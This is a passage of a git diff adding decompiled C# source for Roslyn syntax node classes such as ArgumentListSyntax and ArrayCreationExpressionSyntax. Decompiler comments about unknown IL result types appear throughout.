invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Modifiers, DelegateKeyword, ParameterList, block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithExpressionBodyCore(ExpressionSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new AnonymousMethodExpressionSyntax WithExpressionBody(ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Modifiers, DelegateKeyword, ParameterList, Block, expressionBody); + } + + internal override AnonymousFunctionExpressionSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new AnonymousMethodExpressionSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public AnonymousMethodExpressionSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ParameterListSyntax parameterListSyntax = ParameterList ?? SyntaxFactory.ParameterList(); + return WithParameterList(parameterListSyntax.WithParameters(parameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override AnonymousFunctionExpressionSyntax AddBlockAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBlockAttributeLists(items); + } + + public new AnonymousMethodExpressionSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithAttributeLists(Block.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override AnonymousFunctionExpressionSyntax AddBlockStatementsCore(params StatementSyntax[] items) + { + return AddBlockStatements(items); + } + + public new AnonymousMethodExpressionSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithStatements(Block.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..8dc69a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousObjectCreationExpressionSyntax.cs @@ -0,0 +1,135 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AnonymousObjectCreationExpressionSyntax : ExpressionSyntax +{ + private SyntaxNode? initializers; + + public SyntaxToken NewKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AnonymousObjectCreationExpressionSyntax)(object)((SyntaxNode)this).Green).newKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AnonymousObjectCreationExpressionSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SeparatedSyntaxList Initializers + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref initializers, 2); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AnonymousObjectCreationExpressionSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal AnonymousObjectCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref initializers, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return initializers; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAnonymousObjectCreationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAnonymousObjectCreationExpression(this); + } + + public AnonymousObjectCreationExpressionSyntax Update(SyntaxToken newKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList initializers, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword != NewKeyword || openBraceToken != OpenBraceToken || initializers != Initializers || closeBraceToken != CloseBraceToken) + { + AnonymousObjectCreationExpressionSyntax anonymousObjectCreationExpressionSyntax = SyntaxFactory.AnonymousObjectCreationExpression(newKeyword, openBraceToken, initializers, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return anonymousObjectCreationExpressionSyntax; + } + return anonymousObjectCreationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public AnonymousObjectCreationExpressionSyntax WithNewKeyword(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(newKeyword, OpenBraceToken, Initializers, CloseBraceToken); + } + + public AnonymousObjectCreationExpressionSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, openBraceToken, Initializers, CloseBraceToken); + } + + public AnonymousObjectCreationExpressionSyntax WithInitializers(SeparatedSyntaxList initializers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, OpenBraceToken, initializers, CloseBraceToken); + } + + public AnonymousObjectCreationExpressionSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, OpenBraceToken, Initializers, closeBraceToken); + } + + public AnonymousObjectCreationExpressionSyntax AddInitializers(params AnonymousObjectMemberDeclaratorSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithInitializers(Initializers.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousObjectMemberDeclaratorSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousObjectMemberDeclaratorSyntax.cs new file mode 100644 index 0000000..163b51e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousObjectMemberDeclaratorSyntax.cs @@ -0,0 +1,74 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AnonymousObjectMemberDeclaratorSyntax : CSharpSyntaxNode +{ + private NameEqualsSyntax? nameEquals; + + private ExpressionSyntax? expression; + + public NameEqualsSyntax? NameEquals => ((SyntaxNode)this).GetRedAtZero(ref nameEquals); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal AnonymousObjectMemberDeclaratorSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref nameEquals), + 1 => ((SyntaxNode)this).GetRed(ref expression, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => nameEquals, + 1 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAnonymousObjectMemberDeclarator(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAnonymousObjectMemberDeclarator(this); + } + + public AnonymousObjectMemberDeclaratorSyntax Update(NameEqualsSyntax? nameEquals, ExpressionSyntax expression) + { + if (nameEquals != NameEquals || expression != Expression) + { + AnonymousObjectMemberDeclaratorSyntax anonymousObjectMemberDeclaratorSyntax = SyntaxFactory.AnonymousObjectMemberDeclarator(nameEquals, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return anonymousObjectMemberDeclaratorSyntax; + } + return anonymousObjectMemberDeclaratorSyntax.WithAnnotations(annotations); + } + return this; + } + + public AnonymousObjectMemberDeclaratorSyntax WithNameEquals(NameEqualsSyntax? nameEquals) + { + return Update(nameEquals, Expression); + } + + public AnonymousObjectMemberDeclaratorSyntax WithExpression(ExpressionSyntax expression) + { + return Update(NameEquals, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArgumentListSyntax.cs new file mode 100644 index 0000000..342b18d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArgumentListSyntax.cs @@ -0,0 +1,129 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ArgumentListSyntax : BaseArgumentListSyntax +{ + private SyntaxNode? arguments; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public override SeparatedSyntaxList Arguments + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref arguments, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal ArgumentListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref arguments, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return arguments; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArgumentList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArgumentList(this); + } + + public ArgumentListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || arguments != Arguments || closeParenToken != CloseParenToken) + { + ArgumentListSyntax argumentListSyntax = SyntaxFactory.ArgumentList(openParenToken, arguments, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return argumentListSyntax; + } + return argumentListSyntax.WithAnnotations(annotations); + } + return this; + } + + public ArgumentListSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Arguments, CloseParenToken); + } + + internal override BaseArgumentListSyntax WithArgumentsCore(SeparatedSyntaxList arguments) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithArguments(arguments); + } + + public new ArgumentListSyntax WithArguments(SeparatedSyntaxList arguments) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, arguments, CloseParenToken); + } + + public ArgumentListSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Arguments, closeParenToken); + } + + internal override BaseArgumentListSyntax AddArgumentsCore(params ArgumentSyntax[] items) + { + return AddArguments(items); + } + + public new ArgumentListSyntax AddArguments(params ArgumentSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithArguments(Arguments.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArgumentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArgumentSyntax.cs new file mode 100644 index 0000000..01d4980 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArgumentSyntax.cs @@ -0,0 +1,112 @@ +using System.ComponentModel; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ArgumentSyntax : CSharpSyntaxNode +{ + private NameColonSyntax? nameColon; + + private ExpressionSyntax? expression; + + [EditorBrowsable(EditorBrowsableState.Never)] + public SyntaxToken RefOrOutKeyword => RefKindKeyword; + + public NameColonSyntax? NameColon => ((SyntaxNode)this).GetRedAtZero(ref nameColon); + + public SyntaxToken RefKindKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken refKindKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentSyntax)(object)((SyntaxNode)this).Green).refKindKeyword; + if (refKindKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)refKindKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + [EditorBrowsable(EditorBrowsableState.Never)] + public ArgumentSyntax WithRefOrOutKeyword(SyntaxToken refOrOutKeyword) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(NameColon, refOrOutKeyword, Expression); + } + + internal ArgumentSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref nameColon), + 2 => ((SyntaxNode)this).GetRed(ref expression, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => nameColon, + 2 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArgument(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArgument(this); + } + + public ArgumentSyntax Update(NameColonSyntax? nameColon, SyntaxToken refKindKeyword, ExpressionSyntax expression) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (nameColon != NameColon || refKindKeyword != RefKindKeyword || expression != Expression) + { + ArgumentSyntax argumentSyntax = SyntaxFactory.Argument(nameColon, refKindKeyword, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return argumentSyntax; + } + return argumentSyntax.WithAnnotations(annotations); + } + return this; + } + + public ArgumentSyntax WithNameColon(NameColonSyntax? nameColon) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(nameColon, RefKindKeyword, Expression); + } + + public ArgumentSyntax WithRefKindKeyword(SyntaxToken refKindKeyword) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(NameColon, refKindKeyword, Expression); + } + + public ArgumentSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(NameColon, RefKindKeyword, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..e22ac95 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayCreationExpressionSyntax.cs @@ -0,0 +1,96 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ArrayCreationExpressionSyntax : ExpressionSyntax +{ + private ArrayTypeSyntax? type; + + private InitializerExpressionSyntax? initializer; + + public SyntaxToken NewKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).newKeyword, ((SyntaxNode)this).Position, 0); + + public ArrayTypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 1); + + public InitializerExpressionSyntax? Initializer => ((SyntaxNode)this).GetRed(ref initializer, 2); + + internal ArrayCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref type, 1), + 2 => ((SyntaxNode)this).GetRed(ref initializer, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => type, + 2 => initializer, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrayCreationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrayCreationExpression(this); + } + + public ArrayCreationExpressionSyntax Update(SyntaxToken newKeyword, ArrayTypeSyntax type, InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword != NewKeyword || type != Type || initializer != Initializer) + { + ArrayCreationExpressionSyntax arrayCreationExpressionSyntax = SyntaxFactory.ArrayCreationExpression(newKeyword, type, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return arrayCreationExpressionSyntax; + } + return arrayCreationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ArrayCreationExpressionSyntax WithNewKeyword(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(newKeyword, Type, Initializer); + } + + public ArrayCreationExpressionSyntax WithType(ArrayTypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, type, Initializer); + } + + public ArrayCreationExpressionSyntax WithInitializer(InitializerExpressionSyntax? initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, Type, initializer); + } + + public ArrayCreationExpressionSyntax AddTypeRankSpecifiers(params ArrayRankSpecifierSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithType(Type.WithRankSpecifiers(Type.RankSpecifiers.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayRankSpecifierSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayRankSpecifierSyntax.cs new file mode 100644 index 0000000..e76b9c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayRankSpecifierSyntax.cs @@ -0,0 +1,120 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ArrayRankSpecifierSyntax : CSharpSyntaxNode +{ + private SyntaxNode? sizes; + + public int Rank => Sizes.Count; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrayRankSpecifierSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Sizes + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref sizes, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrayRankSpecifierSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal ArrayRankSpecifierSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref sizes, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return sizes; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitArrayRankSpecifier(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitArrayRankSpecifier(this); + } + + public ArrayRankSpecifierSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList sizes, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || sizes != Sizes || closeBracketToken != CloseBracketToken) + { + ArrayRankSpecifierSyntax arrayRankSpecifierSyntax = SyntaxFactory.ArrayRankSpecifier(openBracketToken, sizes, closeBracketToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return arrayRankSpecifierSyntax; + } + return arrayRankSpecifierSyntax.WithAnnotations(annotations); + } + return this; + } + + public ArrayRankSpecifierSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, Sizes, CloseBracketToken); + } + + public ArrayRankSpecifierSyntax WithSizes(SeparatedSyntaxList sizes) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, sizes, CloseBracketToken); + } + + public ArrayRankSpecifierSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Sizes, closeBracketToken); + } + + public ArrayRankSpecifierSyntax AddSizes(params ExpressionSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithSizes(Sizes.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayTypeSyntax.cs new file mode 100644 index 0000000..81aa3d1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ArrayTypeSyntax.cs @@ -0,0 +1,88 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ArrayTypeSyntax : TypeSyntax +{ + private TypeSyntax? elementType; + + private SyntaxNode? rankSpecifiers; + + public TypeSyntax ElementType => ((SyntaxNode)this).GetRedAtZero(ref elementType); + + public SyntaxList 